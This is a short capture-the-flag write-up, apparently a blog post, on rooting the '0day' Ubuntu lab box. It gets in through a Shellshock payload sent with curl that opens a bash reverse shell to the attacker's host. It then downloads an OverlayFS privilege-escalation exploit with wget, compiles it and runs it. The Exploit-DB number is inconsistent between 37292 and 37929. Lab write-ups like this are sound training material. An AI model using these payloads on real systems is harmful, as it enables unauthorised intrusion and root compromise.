0day

Exploit Ubuntu, like a Turtle in a Hurricane

Hello hackers, my name is Molapo Manuel aka vantaroot. I am founder and Security researcher.

Methodology:

Enumeration — Initial access — Privilege Escalation

Enumeration:

using nmap to scan ports i found out that two ports are opened which are ssh(22) and http(80).

Navigating through the port 80 which is the http://10.80.148.251 i see ryan face .

Further enumeration using dirsearch to enumerate the directories.i discover several directories.

i browsed through robots.txt directory i found out that ryan is mocking me.

Then navigated to the backup directory.Found something interesting a private key can we use it for ssh login?

But The /cgi-bin/test.cgi endpoint is vulnerable to Shellshock (CVE-2014-6271 / CVE-2014-6278), allowing remote code execution (RCE) via crafted HTTP header.

Get vantaroot’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

let set up a listener on port 4444

Send a crafted User-Agent or custom header containing a Bash function definition through curl or a Python script to trigger a reverse shell back to your listener (www-data user )

curl -H ‘User-Agent: () { :; }; /bin/bash -c “bash -i >& /dev/tcp/<your-ip>/<port> 0>&1”’ http://<target-ip>/cgi-bin/test.cgi

After a few second we got a reverse shell.

Upgrade Shell: Stabilize your shell using Python using the below command.

python -c ‘import pty; pty.spawn(“/bin/bash”)’

Then navigate to ryan directory to retrieve the flag.

Privilege Escalation (OverlayFS / CVE-2015–1328)

On the session using uname -a it reveals the system kernel version.This kernel version is vulnerable to the OverlayFS local privilege escalation exploit (CVE-2015–1328 / Exploit-DB 37292).

Download the exploit and set a http server to make it accessible on session shell.

On the shell download the exploit and compile the code.

wget http://192.168.131.186:8000/exploit

gcc 37929 -o exploit

Then run the the exploit ./exploit

Then i got the in the root.